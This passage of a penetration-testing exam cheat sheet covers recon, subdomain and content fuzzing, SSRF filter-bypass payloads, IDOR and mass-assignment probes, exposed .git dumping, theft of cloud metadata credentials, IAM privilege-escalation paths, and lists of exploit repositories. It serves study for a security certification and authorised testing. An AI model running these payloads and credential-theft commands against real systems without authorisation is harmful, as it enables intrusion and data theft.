# Check for breaches (web only, no API key needed for single lookups)
# https://haveibeenpwned.com
Username & Social Enum
# Sherlock β find accounts across social sites by username
sherlock username
# Blackbird / Nexfil / DetectDee β similar alternatives, faster / more sites
blackbird -u username
Google Dorking
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
site:target.com ext:log | ext:env | ext:sql
site:pastebin.com "target.com"
Shodan / Censys
# Shodan CLI
shodan search "org:\"Target Corp\""
shodan search "hostname:target.com"
shodan host $RHOST
# Censys β similar search-engine style recon
# services.http.response.headers: "target.com"
Recon-ng / Spiderfoot / Metagoofil
# Recon-ng β modular OSINT framework
recon-ng
> workspaces create target
> modules load recon/domains-hosts/hackertarget
> options set SOURCE target.com
> run
# Spiderfoot β automated, aggregates dozens of OSINT modules
spiderfoot -s target.com -o csv
# Metagoofil β pulls metadata out of public docs (authors, paths, software versions)
metagoofil -d target.com -t pdf,doc,xls -l 50 -n 20 -o loot/
Reference Table
| Tool | Use |
|---|---|
| theHarvester | Emails, hosts, employees from search engines/PGP/crt.sh |
| h8mail | Breach + password exposure hunting for an email |
| Sherlock / Blackbird | Username β social media account enumeration |
| Recon-ng | Modular recon framework, chains many sources |
| Spiderfoot | Automated OSINT aggregator, huge module list |
| Metagoofil | Metadata extraction from public documents |
| Shodan / Censys / Fofa | Internet-wide device/service search engines |
Attack Surface / Subdomain Enum WEB
More relevant for bug bounty / external engagements than the OSCP labs, but useful when scope includes a domain rather than an IP range. Ref: pentesting-notes / Attack Surface Recon
Subdomain Enumeration
# Passive
subfinder -d target.com -all -o subs.txt
amass enum -passive -d target.com -o subs.txt
assetfinder --subs-only target.com
# Brute force / permutations
puredns bruteforce subdomains.txt target.com -r resolvers.txt
altdns -i subs.txt -o permutations.txt -w words.txt
shuffledns -d target.com -w subdomains.txt -r resolvers.txt
# Resolve + probe alive hosts
cat subs.txt | httpx -silent -sc -title -o alive.txt
Port Scanning at Scale
naabu -l alive.txt -top-ports 1000 -o ports.txt
masscan -p1-65535 $RHOST --rate 1000
nmapAutomator.sh -H $RHOST -t All
Reference Table
| Tool | Use |
|---|---|
| subfinder / amass / assetfinder | Passive subdomain discovery from CT logs, APIs |
| puredns / massdns / shuffledns | Fast DNS bruteforce & wildcard filtering |
| httpx | Probe hosts, grab status/title/tech stack |
| katana / gospider / hakrawler | Crawlers for URL & endpoint discovery |
| naabu / masscan | Fast large-scale port scanning |
| gungnir | Live-monitor certificate transparency logs for new subdomains |
Fuzzing & Content Discovery WEB
Ref: pentesting-notes / Fuzzing & Content Discovery
ffuf / wfuzz
# Directory fuzzing
ffuf -u http://$RHOST/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403
# Parameter value fuzzing
ffuf -u "http://$RHOST/page?id=FUZZ" -w ids.txt -fs SIZE
# Header fuzzing (X-Forwarded-For, X-Original-URL bypass etc.)
ffuf -u http://$RHOST/admin -H "X-Forwarded-For: FUZZ" -w ips.txt
# wfuzz alternative syntax
wfuzz -c -z file,wordlist.txt --hc 404 http://$RHOST/FUZZ
Content Discovery / Crawling
gobuster dir -u http://$RHOST -w wordlist.txt -t 50
feroxbuster -u http://$RHOST -w wordlist.txt
katana -u http://$RHOST -d 3 -jc
# Backup / hidden file fuzzing
fuzzuli -u http://$RHOST
dirsearch -u http://$RHOST -e php,txt,bak,zip
# Historic URLs (great for finding forgotten endpoints)
waybackurls target.com
gau target.com
Reference Table
| Tool | Use |
|---|---|
| ffuf | Fast, flexible fuzzer β dirs, params, headers, vhosts |
| wfuzz | Older but still handy fuzzer, similar use cases |
| gobuster / feroxbuster / dirsearch | Directory & file brute forcing |
| katana / gospider / hakrawler | JS-aware crawling for hidden endpoints |
| waybackurls / gau / waymore | Pull historic URLs from the Wayback Machine |
| Arjun / Paramspider / x8 | Hidden GET/POST parameter discovery |
SSRF / CORS / CSRF / Request Smuggling WEB
Ref: SSRF, CORS, CSRF, Smuggling
SSRF
# Classic internal-network / cloud metadata targets
http://127.0.0.1
http://169.254.169.254/latest/meta-data/ # AWS metadata
http://169.254.169.254/metadata/v1/ # DigitalOcean
http://metadata.google.internal/computeMetadata/v1/ # GCP (needs Metadata-Flavor: Google header)
# Bypass filters on "localhost"
http://0.0.0.0
http://[::1]
http://127.1
http://0177.0.0.1 # octal
http://target.com@127.0.0.1
http://127.0.0.1.nip.io
# Tools
ssrfmap -r request.txt -p url -m readfiles
surf -l urls.txt
CORS Misconfiguration
# Test with an arbitrary Origin
curl -H "Origin: https://evil.com" -I https://$RHOST/api/data
# Look for: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
corsy -u https://$RHOST
CSRF
# Quick manual check: does state-changing request lack anti-CSRF token / SameSite cookie?
# Build minimal auto-submit PoC form and host it, or use:
xsrfprobe -u https://$RHOST/account/settings
HTTP Request Smuggling
# CL.TE / TE.CL desync probing
smuggler -u https://$RHOST
# Burp extension: HTTP Request Smuggler β best for manual confirmation
# h2c smuggling (HTTP/2 cleartext upgrade past reverse proxy)
h2csmuggler -x https://$RHOST -u http://internal-service/
API Pentesting WEB
Ref: pentesting-notes / API Pentesting
# Find exposed Swagger/OpenAPI defs
/swagger.json /swagger-ui.html /openapi.json /v2/api-docs
# Audit endpoints from a discovered Swagger file
swaggerjacker -f swagger.json -u https://$RHOST
# IDOR probing on REST resources
GET /api/user/1 β try /api/user/2, /api/user/0, /api/user/-1
# BOLA/mass-assignment: add unexpected fields to a PUT/PATCH body
{"id":1,"role":"admin"}
# GraphQL introspection
curl -X POST https://$RHOST/graphql -d '{"query":"{__schema{types{name}}}"}' -H "Content-Type: application/json"
inurl:swagger-ui.html / inurl:api-docsSubdomain Takeover WEB
Ref: pentesting-notes / Subdomain Takeover
# CNAME points to a service (S3, GitHub Pages, Heroku, Azure...) that's no longer claimed
dig CNAME sub.target.com
# Automated scanning
subzy run --targets subs.txt
nthim -f subs.txt
# Manual confirm: does the pointed-to service return "not found / no such app"?
curl -s sub.target.com | grep -i "no such\|not found\|does not exist"
Git Recon & Secrets WEB
# Exposed .git directory β dump full repo history
git-dumper http://$RHOST/.git/ ./dumped_repo
gitjacker http://$RHOST/.git/
# Search repo history for secrets once dumped
trufflehog filesystem ./dumped_repo
# Find subdomains / secrets exposed via public GitHub
github-subdomains -d target.com -t GITHUB_TOKEN
# GitHub dorking
"target.com" password
"target.com" API_KEY
org:target-org filename:.env
Cloud Enumeration
# Keyword-based bucket / storage discovery (AWS/Azure/GCP)
cloud_enum -k targetname
# S3-specific bucket scanning
s3scanner scan --bucket-file buckets.txt
# Azure AD tenant discovery from a domain name
python3 tenanthunter.py -d target.com
# Go-based enum + secret scanning of found buckets
bucketloot -d target.com
Cloud Privilege Escalation
Once you have a foothold with cloud creds (leaked keys, SSRFβmetadata, compromised CI pipeline), enumerate what that identity can actually do and chase misconfigured IAM permissions.
AWS β IAM PrivEsc
# Confirm who you are first
aws sts get-caller-identity
# Enumerate your own effective permissions (no admin needed to run this)
aws iam get-user
aws iam list-attached-user-policies --user-name USER
aws iam list-user-policies --user-name USER
aws iam get-policy-version --policy-arn <ARN> --version-id v1
# Automated privesc path finder β checks 20+ known IAM privesc methods
python3 pacu/cli.py # Pacu module: iam__privesc_scan
enumerate-iam.py --access-key AKID --secret-key SECRET
# Classic paths once found:
# iam:CreatePolicyVersion / SetDefaultPolicyVersion -> attach admin policy to yourself
# iam:AttachUserPolicy -> attach AdministratorAccess directly
# ec2:RunInstances + iam:PassRole -> launch instance with a privileged role, grab creds from metadata
# lambda:CreateFunction + iam:PassRole -> run code as a privileged role
# sts:AssumeRole on an over-permissive trust policy -> assume a higher-priv role directly
aws sts assume-role --role-arn <ARN> --role-session-name pwn
AWS β Metadata / Instance Credential Theft
# IMDSv1 (no token needed) β classic SSRF target
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
# IMDSv2 (token required β most modern instances)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
Azure β PrivEsc
# Enumerate current identity + role assignments
az account show
az role assignment list --assignee USER --all
# Automated enum + attack path graphing (BloodHound-style for Azure/Entra ID)
python3 azurehound.py -u USER -p PASS -t domain.onmicrosoft.com list
# Managed Identity token theft from a compromised VM/App Service
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Classic paths: Owner/Contributor on a resource group -> pivot to VM run-command as SYSTEM/root
az vm run-command invoke --resource-group RG --name VM --command-id RunPowerShellScript --scripts "whoami"
GCP β PrivEsc
# Enumerate current identity + IAM bindings
gcloud auth list
gcloud projects get-iam-policy PROJECT
# Automated privesc scanner for GCP IAM
python3 gcp_scanner/scanner.py
# Metadata server (default service account creds β very common misconfig)
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Classic paths: iam.serviceAccounts.actAs + compute.instances.create -> run as a privileged SA
# deploymentmanager.deployments.create -> abuse the (often over-privileged) DM default service account
Reference Table
| Tool | Use |
|---|---|
| Pacu | AWS post-exploitation framework incl. iam__privesc_scan |
| enumerate-iam.py | Brute-force which AWS API calls a key pair can actually make |
| ScoutSuite | Multi-cloud (AWS/Azure/GCP) misconfiguration auditor |
| AzureHound | BloodHound-style collector/attack paths for Azure AD / Entra ID |
| GCP Scanner | Google's own IAM privesc path scanner |
| CloudFox | Quick situational-awareness enum across AWS/Azure/GCP for offense |
Useful Repos & Resources
Bookmark these. Clone them locally before exam day β your VPN may be slow and GitHub may not be reachable from the exam VM.
Exploit Collections
| Repo | What's in it |
|---|---|
| rekter0/exploits | Curated PoCs for AD, Linux/Windows PE, and CVE one-shots. Good lookup when searchsploit comes up dry. |
| SecWiki/windows-kernel-exploits | Pre-compiled Windows kernel exploits indexed by MS bulletin / CVE. |
| SecWiki/linux-kernel-exploits | Same as above for Linux. |
| lauritzh/kernel-exploits | Compiled Linux kernel exploits, ready to drop. |
| offensive-security/exploitdb | The full Exploit-DB mirror (what searchsploit reads). |
Enumeration & PE
| Repo | Use |
|---|---|
| peass-ng/PEASS-ng | linpeas, winpeas, macpeas. Always run first. |
| itm4n/PrivescCheck | PowerShell-only Windows PE enum (covered above). |
| DominicBreuker/pspy | Watch processes/cron without root. Essential for cron-based PE. |
| PowerShellMafia/PowerSploit | PowerUp, PowerView, Invoke-Mimikatz. Classics. |
| GhostPack/Seatbelt | Host-recon binary for Windows. |
| bitsadmin/wesng | Windows Exploit Suggester - NextGen. Feed it systeminfo output. |
| GTFOBins | Linux SUID / sudo abuse lookup. |
| LOLBAS | Living-off-the-land binaries on Windows. |
Active Directory
| Repo | Use |
|---|---|
| fortra/impacket | The toolkit. secretsdump, GetNPUsers, GetUserSPNs, psexec, wmiexec, ntlmrelayx. |
| Pennyw0rth/NetExec | Successor to crackmapexec. Spray, dump, pivot. |
| BloodHoundAD/BloodHound | AD attack-path graphing. Plus BloodHound.py for collection from Linux. |
| Hackplayers/evil-winrm | Best WinRM shell. |
| ly4k/Certipy | ADCS attacks (ESC1-ESC11). |
| ropnop/kerbrute | Fast user enum + password spraying via Kerberos pre-auth. |
Shells, Pivoting, Tunneling
| Repo | Use |
|---|---|
| swisskyrepo/PayloadsAllTheThings | The reference. Web payloads, PE checklists, language-specific shells. |
| revshells.com | Generates reverse shells with your IP/port pre-filled. Saves time mid-exam. |
| jpillora/chisel | Fast TCP/UDP tunnel over HTTP. SOCKS pivots. |
| nicocha30/ligolo-ng | Modern pivoting via TUN interface. Beats chisel for complex networks. |
| sshuttle/sshuttle | VPN-over-SSH. Quick pivot if you have SSH creds on a foothold. |
Wordlists
| Repo | Use |
|---|---|
| danielmiessler/SecLists | The mega-collection. Already at /usr/share/seclists/ on Kali. |
| berzerk0/Probable-Wordlists | Probability-sorted password lists. Faster hits than rockyou. |
| dirbuster-ng wordlists | The classic directory brute-force lists. |
Note-Taking / Reporting
| Tool | Use |
|---|---|
| Syslifters/sysreptor | Pen-test report tool with an OSCP template. |
| Obsidian | Markdown notes with linking. Many OSCP-takers' choice. |
| HTB report templates | Useful as a starting point if you don't like OffSec's template. |
OSCP Reviews & Tips
| Link | Notes |
|---|---|
| Noman's OSCP Journey β 110pts in 12h | Comprehensive review + exam tips. Scored 110 points. Good mindset and methodology read the night before. |
Quick Setup (clone before exam)
mkdir ~/oscp-tools && cd ~/oscp-tools
# Curated exploits
git clone https://github.com/rekter0/exploits
# Kernel exploits (offline copy)
git clone https://github.com/SecWiki/windows-kernel-exploits
git clone https://github.com/SecWiki/linux-kernel-exploits
git clone https://github.com/lauritzh/kernel-exploits
# Enumeration
git clone https://github.com/peass-ng/PEASS-ng
git clone https://github.com/itm4n/PrivescCheck
git clone https://github.com/DominicBreuker/pspy
# References
git clone https://github.com/swisskyrepo/PayloadsAllTheThings
# AD
git clone https://github.com/fortra/impacket
git clone https://github.com/ly4k/Certipy
git clone https://github.com/ropnop/kerbrute
# Pivoting
git clone https://github.com/jpillora/chisel
git clone https://github.com/nicocha30/ligolo-ng
# Pre-built binaries β grab from each repo's "Releases" tab:
# PrintSpoofer, GodPotato, JuicyPotatoNG, chisel, ligolo, evil-winrm
Exam Tips & Workflow
Time Management (24h)
- Hour 0β1: full nmap on all targets, kick off enum scripts in parallel
- Spend max ~3-4 hours on initial foothold per box. Stuck β rotate.
- Sleep 4β6 hours. Tired brain = stuck brain.
- Last 2 hours: stop hacking, start screenshotting if you haven't already
Note-Taking Discipline
- Screenshot every step that contributes to compromise
- Show the local.txt / proof.txt +
ipconfig/ifconfig+whoamiin the same screenshot - Record exact commands β copy-paste, don't retype
- Tools: CherryTree, Obsidian, Joplin, Sysreptor
When You're Stuck
- Re-read all enum output. The answer is usually already there.
- Run a different scanner (gobuster β ffuf, linpeas β linenum)
- Look for unusual ports / banners / version numbers
- Search exact version strings:
searchsploit X, github, blog write-ups of similar CVEs - Check default creds (admin:admin, tomcat:tomcat, etc.)
- Walk away for 10 minutes. Eat something. Hydrate.
Report
- Use the official OffSec template or Sysreptor
- Each finding: description, affected target, steps to reproduce, evidence (screenshots), remediation
- Submit within 24h of exam end. Don't wait.
Common Snags
-EncodedCommand, iex from memory, or AMSI bypass.
Mindset
Try Harder isn't a slogan β it's an instruction. When you're tired, sloppy, and convinced this box is unhackable: that's exactly when re-checking your enumeration finds the foothold. Trust the process.